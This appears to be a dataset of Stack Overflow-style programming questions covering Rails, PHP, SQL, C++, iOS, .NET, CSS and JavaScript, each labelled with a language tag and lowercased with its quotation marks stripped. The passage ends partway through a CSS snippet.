logout button not working on mobile devices  thanks for taking the time to look at my question. ok  so i have a really weird bug that s been really tricky to figure out. the logout button on my app works fine unless you re using a mobile device. here s the error i m getting (again keep in mind it s only on my mobile device):   <pre><code>no route matches [delete]  /salir  </code></pre>   here s some code:    application_controller.rb   <pre><code>def current_user   @current_user ||= user.find(session[:user_id]) if session[:user_id] end  def require_current_user   current_user   redirect_to root_path unless @current_user end </code></pre>   _header.html.erb   <pre><code>&lt;li&gt;&lt;%= link_to  &lt;i class= fa-power-off &gt;&lt;/i&gt; salir .html_safe  salir_es_path  method: :delete  class:  text-danger  %&gt;&lt;/li&gt; </code></pre>   session_controller.rb   <pre><code>def destroy   reset_session   redirect_to root_url end </code></pre>   routes.rb   <pre><code>root  providers#index     localized do     resources :sessions  only: [:new  :create  :destroy]      path_names: { new:  ingresa   destroy:  salir  }     get  /login   to:  sessions#login   as:  login    get  /salir   to:  sessions#destroy   as:  salir  end </code></pre>,ruby-on-rails
get a domain name basing on the ip address  i need to get a domain name if i have an ip address (e.g. i type 209.85.129.103 and the program should find out that is the google address)    as far as i ve figured out is get the hostname:   <pre><code>iphostentry iptodomainname = dns.gethostentry( 209.85.129.103 ); string hostname = iptodomainname.hostname; //it returns  fk-in-f103.1e100.net  </code></pre>   but it s not that i want. i don t know how to achieve that. any ideas will be helpful,.net
"the requested url /tp_mvc/test.php was not found on this server   i am trying to send data from a form in html  the 2 files(index.html and test.php) exist on same directory tp_mvc  my code is very simple :    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form action=\ test.php\  method=\ post\ &gt;
 id:&lt;br&gt;
   &lt;input type=\ text\  name=\ id\  &gt;
   &lt;br&gt;
 name:&lt;br&gt;
   &lt;input type=\ text\  name=\ name\  &gt;
   &lt;br&gt;
 
 date of birth:&lt;br&gt;
   &lt;input type=\ text\  name=\ date\  &gt;
   &lt;br&gt;
   &lt;br&gt;
   &lt;input type=\ submit\  value=\ submit\ &gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>//
 &lt; php
 
 echo $_post[ id ];
 echo $_post[ name ];
 echo $_post[ date ];
 
 
 
  &gt;</code></pre>
 </div>
 </div>
     and i got this message when i run the exemple: not found the requested url /tp_mvc/test.php was not found on this server. i am using wampserver 2.5 please help me.",php
primary key in sql  i want to know if it is possible to create more than one primary key in <strong>standard</strong> sql. i mean something like that:   <pre><code>create table(surname char(100) primary key  name char(100) primary key) </code></pre>   is that legal in sql  if not  please link me a reference to the standard that says that is not possible...,sql
cpp issue with wide char and windows functions <pre><code>static void getfilesfromdir(std::string dir  std::vector&lt;std::string&gt;&amp; items) {     win32_find_data finddata;     handle hfind=findfirstfile((dir+ \\* ).c_str()  &amp;finddata); //1 error     do     {         if(hfind != invalid_handle_value)         {             std::string sfilename = finddata.cfilename; //2 error             lpcstr lp(sfilename.c_str());              if(sfilename ==  .  || sfilename ==  .. )             {} //do nothing             else if (finddata.dwfileattributes &amp; file_attribute_directory)                 getfilesfromdir(dir+ \\ +sfilename  items);             else                 items.push_back(dir+ \\ +sfilename);         }      }   while (findnextfile(hfind  &amp;finddata)); } </code></pre>   so here s my simple function that i just coppied from another project to the new one. and it throws errors for no reason i can think of  especially because it works in other projects...    <pre><code>1&gt;c:\users\prog\documents\visual studio 2010\projects\vampire stealth\vampire    stealth\smallfunctions.h(22): error c2664:  findfirstfilew  : cannot convert parameter 1 from  const char *  to  lpcwstr  1&gt;          types pointed to are unrelated; conversion requires reinterpret_cast  c-style cast or function-style cast  1&gt;c:\users\prog\documents\visual studio 2010\projects\vampire stealth\vampire stealth\smallfunctions.h(27): error c2440:  initializing  : cannot convert from  wchar [260]  to  std::basic_string&lt;_elem _traits _ax&gt;  1&gt;          with 1&gt;          [ 1&gt;              _elem=char  1&gt;              _traits=std::char_traits&lt;char&gt;  1&gt;              _ax=std::allocator&lt;char&gt; 1&gt;          ] 1&gt;          no constructor could take the source type  or constructor overload resolution was ambiguous </code></pre>   anyone has any ideas on what s wrong  i m totally clueless about it.,c++
submit form using a button outside the <form> tag  say i have:   <pre><code>&lt;form method= get  action= something.php &gt;     &lt;input type= text  name= name  /&gt; &lt;/form&gt;  &lt;input type= submit  /&gt; </code></pre>   how do i go about submitting that form with that submit button outside of the form  i think in html5 theres an action attribute for the submit but i m not sure if thats fully cross-browser and if it isn t is there anyway to do this,html
android: login and logout in all the activities  am beginner to android  i have one clarification in <strong>login &amp; logout</strong>... i will get the username and password through json....so no problem with that....    now  there are three activities in my app.. all the activities has <strong> login  </strong> function  if i login in any of the three activities   it should <strong>logged in</strong> all the activities.    and the same way   if i logout in any of the three activities   it should <strong>logged out</strong> all the activities.    thanks.,android
css left:25% not working the same across browsers   i have a slider image on a <a href= http://www.stonevillachester.co.uk  rel= nofollow >homepage</a>    for some reason  in firefox and safari the image is displaying to the right. in chrome  it is displaying in the centre as it should.    i believe this is down to the positioning however the changes i have tried done appear to help much.    anyone any ideas,css
cannot implicitly convert type  char  to  char[]  &  char []  to  char  <pre><code>using system; namespace rextester {                        public class program  {           public static void main(string[] args)         {              char []my_arr = new char [5] { 1   2   3   4   5 };              char []arr=new char [5] { a   b   c   d   e };              char []combine=new char[5+5];              combine=conca(my_arr  arr);              for (int i=0; i&lt;10; i++)             {                 if (i==0)                     console.write( {0}  combine[i]);                 else if (i&gt;=1)                 {                     console.write(   );                     console.write( {0}  combine[i]);                 }             }         }         static char conca(char []my_arr char []arr)         {             int a=0 b=0;             char []comb=new char[5+5];              for (int i=0;i&lt;10;i++)             {                 if(i%2==0)                 {                     for (int j=a;j&lt;a+1;j++)                     {                         comb[i] = my_arr[j];                      }a++;                 }                else if (i%2!=0)                 {                     for (int k=b;k&lt;b+1;k++)                     {                         comb[i]=arr[k];                      }b++;                 }             }             return comb;         }     } } </code></pre>   hello this program is takes two array (char) and merge them like this (1 a 2 b 3  ....).but  i can t find where i mistaken and how to solve this problem.i tried every thing but can t get the solution. i have seen answers of different people related to this problem but cannot find my mistakes. help is needed,.net
modifying dyld_library_path for mysql  python  and django  i ve seen two dozen posts concerning this issue  but i m so noob i m not sure how to modify everything correctly.    i m attempting to finish the installation  but when i go to python and  import mysqldb  i end up getting:   <pre><code>importerror: dlopen(/users/pccampbell/.python-eggs/mysql_python-1.2.3-py2.7-macosx-10.5-fat3.egg-tmp/_mysql.so  2):   library not loaded: libmysqlclient.16.dylib </code></pre>   referenced from: /users/pccampbell/.python-eggs/mysql_python-1.2.3-py2.7-macosx-10.5-fat3.egg-tmp/_mysql.so    i then run this command which everyone says works (and it does  but only temporarily!):    <pre><code>export dyld_library_path=/usr/local/mysql/lib/ </code></pre>   so  i m trying to execute the following to permanently change the path (as found on another help site):   <pre><code>sudo install_name_tool -change libmysqlclient.16.dylib /usr/local/mysql/lib/libmysqlclient.16.dylib lib/python2.7/site-packages/_mysql.so </code></pre>   but  i end up getting this error:   <pre><code>install_name_tool: can t open file: lib/python2.7/site-packages/_mysql.so (no such file or directory) </code></pre>   i found the _mysql.so file at  but even when i use this path it doesn t work:   <pre><code>/users/pccampbell/mysql-python-1.2.3/build/lib.macosx-10.5-fat3-2.7 </code></pre>   the bottom line: is there a way to permanently modify the dyld_library_path  so i don t have to run the export command every time. if so  then could you please  please  please provide the specific syntax  because i ve been guessing and checking for a long time. :(    any help greatly appreciated.    patrick,python
using delegate from different classes  having some difficulty getting my delegate to  work .    it works when the classa pushes classb onto the stack via uinavigationcontroller  but classb does not call the delegate method (in classa) when classb is pushed by a different classc.    this method from within classa works:   <pre><code>- (void)openviewcontroller:(nsstring *)title:(int)datatype:(nsarray *)currentdata {     classb *nextcontroller = [[classb alloc] initwithnibname:@ classbview  bundle:nil]; nextcontroller.delegate = self; nextcontroller.title = title; nextcontroller.datatype = datatype; nextcontroller.currentdata = currentdata; nextcontroller.hidesbottombarwhenpushed = yes; [self.navigationcontroller pushviewcontroller:nextcontroller animated:yes];} </code></pre>   how do i get this method  from classc  to properly designate classa as the delegate for classb      <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath { classb *nextcontroller = [[classb alloc] initwithnibname:@ classbview  bundle:nil];     nextcontroller.delegate =                nextcontroller.title = [self.tabledata objectatindex:indexpath.row];     nextcontroller.datatype = self.datatype;     nextcontroller.currentdata = [nsarray arraywitharray:[self.dictionary objectforkey:[self.tabledata objectatindex:indexpath.row]]];     nextcontroller.hidesbottombarwhenpushed = yes; [self.navigationcontroller pushviewcontroller:nextcontroller animated:yes];} </code></pre>   appreciate any assistance. cheers.,ios
are there any problems with calling a getter in the parameters of a setter   is it okay to call the getter inside the parameter of a setter to add  example:     <pre><code>managerlist[i].settotalhours(managerlist[i].gettotalhours() + 1); </code></pre>   is there any problems with setting total hours by calling managerlist[i].gettotalhours() and adding 1,java
setsearchdisplaycontroller considered private-api   i recently submitted an app for app review but i got rejected because of the use of a private api. i m still a bit new to iphone developing so i was wondering if someone could help me understand how this part was rejected:   <pre><code>uisearchbar *searchbar = [[[uisearchbar alloc] initwithframe:cgrectmake(0  0  self.tableview.frame.size.width  0)] autorelease]; searchbar.showscancelbutton = no; searchbar.placeholder = @ search exhibitors ; [searchbar sizetofit];  [self.tableview settableheaderview:searchbar];  uisearchdisplaycontroller *searchdisplaycontroller = [[uisearchdisplaycontroller alloc] initwithsearchbar:searchbar contentscontroller:self];    [self performselector:@selector(setsearchdisplaycontroller:) withobject:searchdisplaycontroller];  [searchdisplaycontroller setdelegate:self];   [searchdisplaycontroller setsearchresultsdatasource:self];   [searchdisplaycontroller setsearchresultsdelegate:self]; [searchdisplaycontroller release]; </code></pre>   the part that they mentioned was the  setsearchdisplaycontroller . i based the searching of a uitableview on the example given <a href= http://blog.originalfunction.com/index.php/2010/02/uitableviewcontroller-with-uisearchdisplaycontroller-for-core-data/  rel= nofollow noreferrer >here</a>. so can anyone explain why this is considered a private api,iphone
sql: how to use count for a particular column  (or) to count a particular column by its field name  in my query i need a to count a particular column by its field name    <pre><code>select    c.inc_count  min_x  min_y  max_x  max_y  b.state_abbr    b.state_name  b.latitude  b.longitude  a.state  geo_id     concat(a.lsad_trans       a.name) dist_name     a.lsad  geometrytype(shape) geo_type  astext(shape) geom   from shape_layers a  join shape_layer_state_desc b    on ( a.state = b.state)  left outer join inc_dist_summary_all c    on (c.shape_geo_id = a. geo_id) </code></pre>   here i have to count by    <pre><code> b.state_name  c.inc_count </code></pre>   if exmple the field name <code>nevada</code> means i have to get all <code>neveda value count</code> and the c.inc_count.,sql
sql count columns group by id  counting columns group by    <pre><code> cityid  scity  mcity  bcity  flag     10   null   400    null   0     12   350    null   null   1     13   600    null   null   1     13   700    null   null   1     15   null   null   250    3 </code></pre>   expected result  group by cityid sum mcity and display count next to city    <pre><code>cityid  scitycount  scity  mcitycount  mcity  bcitycount  bcity  flag     10   0          null    1           400    0          null    0     12   1          350     0           null   0          null    1     13   2          1100    0           null   0          null    1     15   1          null    0           null   1          250     3 </code></pre>   this is what i have so far   <pre><code>select      cityid      sum(case when flag = 1 then scity end) as scity          sum(case when flag = 0 then mcity end) as mcity      sum(case when flag = 3 then bity end) as bcity       count(*) as count from #finalresults group by cityid </code></pre>   but this will give me one count at the end.i like to show the count column per each column,sql
not getting line number of exception in dot net app  i have got a data migration app writting in .net 3.0 vs2008.    i have deployed in debug mode and copied the pdb file to the server i want to runit.    i get an exception but no line number.    this is how i display the exception    why is there no line number of the exception       malcolm   <pre><code>       string msg = string.format( {0} {1} {2}  ex.message ex.stacktrace.tostring() ex.source.tostring());                        if(ex.innerexception != null)             msg += string.format(  {0}   ex.innerexception.tostring());         return msg; </code></pre>,.net
search result displayed in data grid view  i ve customer id  customer name  contact no  address  country name(drop down list). and after inserting the data into the sql database it will displaying in grid view. but my requirement is  i ve search button and one text box. after entering the any character into the text box then i click the search button. the result will be display in grid view regarding the character entered into the search box(like google search box and search button). the search will be done based on customer name. and result will be displayed in grid view.,.net
kill program listening to a given port  before the main code execution starts  i want to check if a particular port is open or not.. and if it is.. then close the port so that code can start  cleanly .    so i google online and found the code here: <a href= http://www.paulwhippconsulting.com.au/tips/63-finding-and-killing-processes-on-ports  rel= nofollow >http://www.paulwhippconsulting.com.au/tips/63-finding-and-killing-processes-on-ports</a>    but just pasting the code from there:   <pre><code>import os import subprocess import re  ports = [ 1234   5678   9101 ]   popen = subprocess.popen([ netstat    -lpn ]                           shell=false                           stdout=subprocess.pipe) (data  err) = popen.communicate()  pattern =  ^tcp.*(( :{0})).* ( p[0-9]*)/.*$  pattern = pattern.format( )|( : .join(ports)) prog = re.compile(pattern) #&lt;---- error line for line in data.split( \n ):     match = re.match(prog  line)     if match:         pid = match.group( pid )         subprocess.popen([ kill    -9   pid]) </code></pre>   but it throws an error.   <pre><code> raise error  v # invalid expression sre_constants.error: unknown specifier:  p[ </code></pre>,python
store uibutton tag value  need to store the tag from a clicked button:   <pre><code>- (ibaction)buttonclicked:(id)sender {     uibutton *button = (uibutton *)sender;     self.selectedimage = [_images objectatindex:button.tag]; } </code></pre>   works ok.   <pre><code>- (ibaction)buttonclicked:(id)sender {     uibutton *button = (uibutton *)sender;     self.selectedimage = [_images objectatindex:button.tag];     self.selectedtag = button.tag; } </code></pre>   gives  makes pointer from integer without cast .    how should i reference button.tag correctly,iphone
getting ip address while using mobile data in android  anybody help me to get ip address whenever i use mobile data. when i am using wifi then i am getting ip address  but while using mobile data its not working.    thanks in advance..,android
how to eliminate the gap between top header items in avada theme  i m trying to find out the css code that s causing 1px gap between the items in top header.    here s the website: <a href= http://youleadyou.net  rel= nofollow >http://youleadyou.net</a>    the top header is the blue menu with items: home  about  contact  login.    i want to remove the gap between the items. i can t find it anywhere on the internet and i can t find any css class which can cause this to happen.    any ideas,css
creating an object using reflection: activator.createinstance or inovking the constructor c#  which is the better way to create an object using reflection     getting a reference of the constructor and invoking the constructor to create the object or    using <code>activator.createinstance</code> on the type of the class.    better in the sense are there any specific reasons why we would opt for one method over the other  if so in what cases.    i am just learning reflection and had this question.,.net
reading the lines from command prompt   i have question about c but my programming skills are not good as am still learning/studying.    let me first explain my problem  out of pure curiosity and laziness i wanted to create some program in c that can auto ping some range of ip on my local network and give me what ip is alive.    ok  so far without problem i managed to write few lines but am stuck on part where i need to read some lines from command prompt. after it execute this line  cmd start pinging the address it is provided.    <pre><code>system( ping 192.168.000.000 ) </code></pre>   so after it finishes this line can i read the info from cmd and use it to compare with other ping info     or there is some other way that i should start looking to solve this problem,c
how to create a cross cors header ‘access-control-allow-origin  ive been beating myself over my head with this question and i ve gone through a lot of documents online however none of them mentions how to create a header file. i know that that we implement      <strong>access-control-allow-origin: *</strong> but i don t know where to implement it.    i m trying to access a json file in my local host apache server  from get request in angular1.     i m trying to acces the file however i keep getting cross origin sharing problem.    could anyone answer where we implement the access control allow origin  the sources from internet say we implement it on the header file but where does the header file lie    <pre><code>app.controller( myctrl         function($scope $http)      {                alert( this is finally working!! );         return $http.get( http://localhost/week10/resources/dog.json )       .then(             function(response)             {               $scope.dogobj = response.data;             })     });          </code></pre>   my code looks something like this. any help would be hugely appreciated!!!,angularjs
how to get a method to call on another method  i am trying to get the methods to call on each other and produce the bmi calculation. how do i link these methods together so that they print the bmi calculation       <pre><code>public class bodymassindex {     public static string bodymassindex(double weight  double height)     {         double bmi = weight / (height*height);             if (bmi &lt; 16)         system.out.println( seriously underweight );         else if  (bmi &gt;= 16 &amp;&amp; bmi &lt; 18)         system.out.println( underweight );         else if (bmi &gt;= 18 &amp;&amp; bmi &lt; 24)         system.out.println( normal weight );         else if (bmi &gt;= 24 &amp;&amp; bmi &lt; 29)         system.out.println( overweight );         else if (bmi &gt;= 29 &amp;&amp; bmi &lt; 35)         system.out.println( seriously overweight );         else if (bmi &gt;= 35 )         system.out.println( obese );         return null;      }      public static void main(string[] args){         double m;          double kg;            scanner input = new scanner(system.in);         system.out.println( enter weight (kg):  );         kg = input.nextdouble();         system.out.println( enter height (m):  );         m = input.nextdouble();      } </code></pre>   my code is shown above.,java
disable voiceover reading page numbers in uicollectionviewcell  i have a uicollectionview with 10+ cells. when i swipe to a new cell  voiceover reads  page x of y . this is not necessary  and has the effect of ignoring other elements which i do want read. is there a way to disable this reading of the cell index in a uicollectionview,ios
memorycache case insensitive key lookup  i m trying to find a way to make the .net 4.0 memorycache.default instance use a case insensitive comparer.    is that possible    <pre><code>var bob = new object();  memorycache.default[ bob ] = bob;  bob == memorycache.default[ bob ]; --&gt; true </code></pre>,.net
html form posting  i have studied that when making a form using html   you want to create a text field   you use the following code :   <pre><code>&lt;input type= text  name =  -name_of_text_field- &gt;  </code></pre>   so this will create a text box on the web page whose value will be stored in whatever name of the text field that you have specified   right       my question is   we know that a variable is a named memory location . so where actually is this location   is it on the web page itself or where      i haven t been taught this at my school and am very interested to learn more .,html
html 5 full screen site exits full screen mode on internal links  i m building a site using html 5 and want to have a full screen option. i ve got it working using the below code  however when you click an internal link it exits full screen mode. this is rather undesirable. i ve searched extensively and haven t seen any answers to this question  only to questions relating to webapps for ios  which this is not.  demo site is here: <a href= http://kvrm.co.uk/jw/  rel= nofollow >http://kvrm.co.uk/jw/</a>    i ve also noticed that when going fullscreen in firefox a black band appears across the bottom of the screen  which does not happen in chrome or safari.     how can i keep the site in full screen mode while navigating to other internal pages  (also  can anything be done about the black bar in firefox )    here s the full screen code:   <pre><code>(function () { var viewfullscreen = document.getelementbyid( view-fullscreen ); if (viewfullscreen) {     viewfullscreen.addeventlistener( click   function () {         var docelm = document.documentelement;         if (docelm.requestfullscreen) {             docelm.requestfullscreen();         }         else if (docelm.mozrequestfullscreen) {             docelm.mozrequestfullscreen();         }         else if (docelm.webkitrequestfullscreen) {             docelm.webkitrequestfullscreen();         }     }  false); }  var cancelfullscreen = document.getelementbyid( cancel-fullscreen ); if (cancelfullscreen) {     cancelfullscreen.addeventlistener( click   function () {         if (document.exitfullscreen) {             document.exitfullscreen();         }         else if (document.mozcancelfullscreen) {             document.mozcancelfullscreen();         }         else if (document.webkitcancelfullscreen) {             document.webkitcancelfullscreen();         }     }  false); }   var fullscreenstate = document.getelementbyid( fullscreen-state ); if (fullscreenstate) {     document.addeventlistener( fullscreenchange   function () {         fullscreenstate.innerhtml = (document.fullscreen)     :  not  ;     }  false);      document.addeventlistener( mozfullscreenchange   function () {         fullscreenstate.innerhtml = (document.mozfullscreen)     :  not  ;     }  false);      document.addeventlistener( webkitfullscreenchange   function () {         fullscreenstate.innerhtml = (document.webkitisfullscreen)     :  not  ;     }  false); }  var mariovideo = document.getelementbyid( mario-video )     videofullscreen = document.getelementbyid( video-fullscreen );  if (mariovideo &amp;&amp; videofullscreen) {     videofullscreen.addeventlistener( click   function (evt) {         if (mariovideo.requestfullscreen) {             mariovideo.requestfullscreen();         }         else if (mariovideo.mozrequestfullscreen) {             mariovideo.mozrequestfullscreen();         }         else if (mariovideo.webkitrequestfullscreen) {             mariovideo.webkitrequestfullscreen();             /*                 *kept here for reference: keyboard support in full screen                 * mariovideo.webkitrequestfullscreen(element.allow_keyboard_input);             */         }     }  false); } </code></pre>   })();,html
return type  void  of a function resulting in a error  i have used the return type  void  for a function but the error is coming - variable or field  combine  declared void where function name is  combine.    the error is coming - variable or field  combine  declared void where function name is  combine.    here is my code   <pre><code>#include&lt;iostream&gt; using namespace std;  void combine(int int int);  void combine(int *p int m int n){     int i c[m + n] l = 1;     for(i = 0 ; i &lt; m + n ; i++){         if( ( *(p + i)  % 2) == 0){            c[i] = *(p+i);         }         else{            c[m + n - l] = *(p + i);            l++;         }    }     cout&lt;&lt; the resultant array is  ;    for(i = 0 ; i &lt; m + n ; i++){         cout&lt;&lt;c[i]&lt;&lt;    ;    }  }  int main(){    int m n i;     cout&lt;&lt; enter the size of first array ;    cin&gt;&gt;m;     cout&lt;&lt; enter the size of second array ;    cin&gt;&gt;n;     int a[m] b[n];    int d[m+n];     for(i = 0 ; i &lt; m ; i++){       cout&lt;&lt; enter the value of &lt;&lt;i+1&lt;&lt; number of first array ;       cin&gt;&gt;a[i];    }     for(i = 0 ; i &lt; m ; i++){       cout&lt;&lt; enter the value of &lt;&lt;i+1&lt;&lt; number of second array ;       cin&gt;&gt;b[i];    }     for(i = 0 ; i &lt; m ; i++){       d[i] = a[i];    }     for(i = 0 ; i &lt; n ; i++){       d[i + m] = b[i];    }     void combine(d[0] m n);     return 0; } </code></pre>,c++
function with foreach returns undefined even with return statement  i m just making a function for checking a value of something in my object array  but for some reason it keeps returning <code>undefined</code>. why is that     demo: <a href= http://jsfiddle.net/cnywz/1/  rel= nofollow >http://jsfiddle.net/cnywz/1/</a>   <pre><code>var data = [{      key :  1111-1111-1111            email :  test@test.com  }  {      key :  2222-2222-2222            email :  test@boo.com  }];   function getbykey(key) {         data.foreach(function (i  val) {         if (data[val].key === key) {             return data[val].key;         } else {             return  couldn t find ;         }     }); }  var asd = getbykey( 1111-1111-1111 ); console.log(asd); </code></pre>,javascript
detect if some other is app installed on ios device  i was playing epoch 2  and after i had installed epoch 1  epoch 2 said something like  okay  i see epoch 1  here are free weapons for you .     how can i do something like this -- detecting the installation of another app -- and what are the limitations of this mechanism,ios
dynamic memory allocation with arrays in c++  i am trying to insert an int into an array that is in a class object  and i cannot figure out what i am doing wrong. the current state of my code never inserts the int into the array.    basically what i am trying to do is when i call insert(int) it will check to to see if there is any room left in the array  and if there is it will add it  otherwise it would reallocate with 8 more spaces in the array.    here is some relevant class info   <pre><code>private:      unsigned cap;    // current capacity of the set     unsigned num;    // current count of items in the set     int * pool;      // pointer to array holding the items    public:      // return information about the set     //     bool is_empty() const { return num == 0; }     unsigned size() const { return num; }     unsigned capacity() const { return cap; }      // initialize the set to empty     //     set()     {       cap = num = 0;       pool = null;     } </code></pre>   here is the code i am working on   <pre><code>bool set::insert(int x) {         bool flag = false;         if (num == cap)         {                 //reallocate                 const unsigned inc = 8;                  int * temp = new int[cap+inc];                  for (unsigned j=0;j&lt;num;j++)                 {                         temp[j] = pool[j];                 }                  delete [] pool;                 pool = temp;                 cap = cap+inc;         }          if(num &lt; cap)         {                 pool[num+1] = x;                  flag = true;         }         return flag; } </code></pre>,c++
input string from user and than putting it in vector  take string input from user and than put it in a vector(first) in c++ for example if string is 038493  and when i access first[0] it will give me 0. how can we do it faster.      <pre><code>    string p;     cin&gt;&gt;p;      for(i=0;i&lt;n;i++){     first.push_back(p[i]);     } </code></pre>   i used this but this is slow  tell me good method to do it.,c++
php and html how do i link to an external url   consider the following code:   <pre><code>&lt;a id= alink  href= http://google.com &gt;google&lt;/a&gt; </code></pre>   this is a fairly basic link tag. at the top of my html page i have:   <pre><code>&lt;base href= //localhost/website/  /&gt; </code></pre>   this creates a problem  when i click my link it brings me to:   <pre><code>//localhost/website/http://google.com </code></pre>   i do not want this  i want it to bring me to a completely different site(google.com for example). how can i fix this problem,html
why onclick() is not working on chrome browser   i m using onclick() method to call a function when html select option is change. it s working fine in mozila firefox but why it s not working on chrome broser     <pre><code>&lt;select name= project_list  class= project_list &gt;     &lt;option&gt;--select project--&lt;/option&gt;             &lt; php      $getprojectlist = mysqli_query($link   select p_id  p_name from projects where p_owner_id =  $logged_user_id   );     while($list=mysqli_fetch_array($getprojectlist)){         $list_p_id = $list[ p_id ];         $list_p_name = $list[ p_name ];        &gt;         &lt;option onclick= showprojectdetails(&lt; php echo $list_p_id;  &gt;); &gt;&lt; php echo $list_p_name;  &gt;&lt;/option&gt; ;     &lt; php     }      &gt;  </code></pre>       note : this onclick() method get the id value from html option change and pass to <code>showprojectdetails()</code>    update :    <pre><code>&lt;table border= 0  cellpadding= 0  cellspacing= 0  width= 570 &gt; &lt;tr&gt;   &lt;td width= 142 &gt;project&lt;/td&gt;    &lt;td&gt;&lt;input type= text  id= project_name  name= p_name  value= &lt; php echo $p_name;  &gt;  /&gt;&lt;/td&gt;     &lt;td colspan= 1  align= right &gt;     &lt;select name= project_list  class= project_list &gt;       &lt;option&gt;--select project--&lt;/option&gt;         &lt; php        $getprojectlist = mysqli_query($link   select p_id  p_name from projects where p_owner_id =  $logged_user_id   );       while($list=mysqli_fetch_array($getprojectlist)){           $list_p_id = $list[ p_id ];           $list_p_name = $list[ p_name ];            &gt;           &lt;option onclick= showprojectdetails(&lt; php echo $list_p_id;  &gt;); &gt;&lt; php echo $list_p_name;  &gt;&lt;/option&gt; ;           &lt; php       }        &gt;      &lt;/select&gt;     &lt;/td&gt;     &lt;td&gt;       &lt;a href= #  class= normalsearch &gt;normal search&lt;/a&gt; &lt;br&gt; &lt;a href= #  class= advancesearch &gt;advanced search&lt;/a&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td width= 142 &gt;for&lt;/td&gt;    &lt;td colspan=  &gt;&lt;input type= text  id= project_company  name= company_name  value= &lt; php echo $p_c_name;  &gt;  /&gt;&lt;/td&gt;   &lt;td&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   <strong>update 2 :</strong>    <pre><code>function showprojectdetails(e){ var id = $(e).val(); $.ajax({ type: post   url: showprojectdetails.php   data: id= +id      success:function(res){                 $( #showprojectform ).html(res);             } });  } </code></pre>,jquery
fill a column to the bottom of content  been trying to figure this out all day!    on load  if the viewport is too short to display all the content  the wrapper div doesn t extend all the way to the bottom of the content. if i scroll down  the wrapper div stays the height of the original viewport.    here s my code: <a href= http://jsfiddle.net/3wueg95e/  rel= nofollow >http://jsfiddle.net/3wueg95e/</a>    i found this solution: <a href= http://www.geekicon.net/thinktank/index.shtml/article/643  rel= nofollow >http://www.geekicon.net/thinktank/index.shtml/article/643</a> however  if i change the wrapper position to absolute  the whole wrapper moves to the right.    i m also wondering why if i set eight to default  the wrapper disappears.    html:   <pre><code>&lt;div id= wrapper &gt;  &lt;div id= header &gt;   &lt;div class= linkbar  id= logo &gt;&lt;img src= images/gologo.png  width= 150  height= 100  alt= nothing to see here /&gt;&lt;/div&gt;    &lt;div class= linkbar  id= link1 &gt;&lt;img src= images/burrito.png  alt=  /&gt;&lt;/div&gt;   &lt;div class= linkbar  id= link2 &gt;&lt;img src= images/dickshamburger.png  alt=  /&gt;&lt;/div&gt;   &lt;div class= linkbar  id= link3 &gt;&lt;img src= images/potstickers.png   alt=  /&gt;&lt;/div&gt;   &lt;div class= linkbar  id= link4 &gt;&lt;img src= images/chickenwaffles.png  alt=  /&gt;&lt;/div&gt; &lt;/div&gt; &lt;div id= sidebar &gt;     &lt;ul id= sidebarlinks &gt;         &lt;li&gt;&lt;h2&gt;grubbin on:&lt;/h2&gt;&lt;/li&gt;         &lt;li&gt;burritos&lt;/li&gt;         &lt;li&gt;sandwiches&lt;/li&gt;         &lt;li&gt;chili&lt;/li&gt;         &lt;li&gt;bbq&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;div class= main &gt;     &lt;h1&gt;blog post title&lt;/h1&gt;     &lt;div class= blogpic &gt;&lt;img src= images/giordano.jpeg  alt=  /&gt;&lt;img src= images/giordano.jpeg  width= 259  height= 194  alt=  /&gt;&lt;/div&gt;      &lt;div class = blogtext &gt;            &lt;p class= where &gt;where: giordano bros. - 16th and valencia  sf&lt;/p&gt;         &lt;p class= whatfood &gt;what: hot capicola and fried pickles&lt;/p&gt;         &lt;ol&gt;             &lt;li&gt;fact number one about this bomb food&lt;/li&gt;             &lt;li&gt;fact number two about this bomb food&lt;/li&gt;             &lt;li&gt;fact number three about this bomb food&lt;/li&gt;         &lt;/ol&gt;     &lt;/div&gt;     &lt;/div&gt; &lt;div id= footer &gt;super cool content with copyrights and links&lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>    html  {     width: auto;     height: 100%;     position: relative; } body {     margin-top: 0px;     margin-right: 0px;     margin-bottom: 0px;     margin-left: 0px;     background-color: #a8e26f;     font-family: droid-sans;     font-style: normal;     font-weight: 400;     color: #151515;     position: relative;     height: 100%; } #wrapper {     width: 750px;     max-width: 1000px;     margin-top: 0px;     margin-right: auto;     margin-left: auto;     margin-bottom: 0px;     background-image: url(url);     background-color: #fdf9ff;     font-family: droid sans;     position: relative;     height: 100%; } .linkbar {     width: 20%;     display: block;     position: relative;     height: 100px;     border-style: none;     -webkit-box-sizing: border-box;     -moz-box-sizing: border-box;     box-sizing: border-box;     text-align: center;     float: left;     vertical-align: 50%;     line-height: 90px;     font-family: gotham   helvetica neue   helvetica  arial  sans-serif;     letter-spacing: 3px;     color: #ffffff;     text-shadow: 0px 0px 0px;     -webkit-text-stroke-width: 1.5px;     -webkit-text-stroke-color: black;     font-size: 30px;     font-style: normal;     font-weight: 900;     background-position: 0% 0%;     background-size: 150px 0100px;     border-radius: 3px; } #header img {     display: inline;     -webkit-box-sizing: border-box;     -moz-box-sizing: border-box;     box-sizing: border-box;     position: absolute;     left: 0px; } #logo {     font-weight: bolder;     font-size: 90px; } #link1 {     background-size: 150px 150px;     margin-top: 0px;     margin-right: 0px;     margin-bottom: 0px;     margin-left: 0px; } #link2 {     letter-spacing: 0.5px;     background-size: 100% 100%; } #link3 {     letter-spacing: 7px; }  #wrapper #sidebar p {     position: relative;     display: inline-block;     font-family: droid-sans;     font-style: normal;     font-weight: 400;     width: 20%;     padding-top: 0px;     padding-right: 0px;     padding-bottom: 0px;     padding-left: 10px; }  #sidebar {     font-family: droid-sans;     font-style: normal;     font-weight: 400;     position: absolute;     float: left;     width: 150px;     margin: 0px;     top: 100px;     bottom: 0px;     height: 100%;  } .main {     width: 600px;     font-family: droid-sans;     font-style: normal;     font-weight: 400;     -webkit-box-sizing: border-box;     -moz-box-sizing: border-box;     box-sizing: 